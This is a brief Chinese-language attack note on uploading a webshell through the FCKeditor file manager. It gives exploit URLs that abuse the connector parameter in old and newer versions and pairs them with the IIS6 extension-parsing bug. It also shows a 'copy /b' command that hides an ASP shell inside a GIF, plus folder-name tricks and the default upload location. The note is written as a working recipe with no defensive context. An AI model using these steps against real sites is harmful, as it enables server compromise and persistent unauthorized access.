Fckeditor上传webshell

Fckeditor目录结构

fckeditor\editor\filemanager\browser\default\browser.html

fckeditor\editor\filemanager\connectors\asp\connector.asp

老版本利用

http://www.site.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=../../connectors/aspx/connector.aspx

Type=all后可以直接传webshell

较新版本

http://www.site.com/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp

Type=Image(这里区分大小写)，然后结合IIS6后缀解析BUG传webshell

由于要验证图片文件类型，要能预览出的图片，所以要用copy把文件加到一起

copy s.gif /b + 1.asp /a 2.jpg

还可以尝试建\1.asp\这样的文件夹

上传目录:

上传目录在fckeditor\editor\filemanager\connectors\asp\config.asp里面配置

一般可以在站点根目录下的\userfiles里面找找。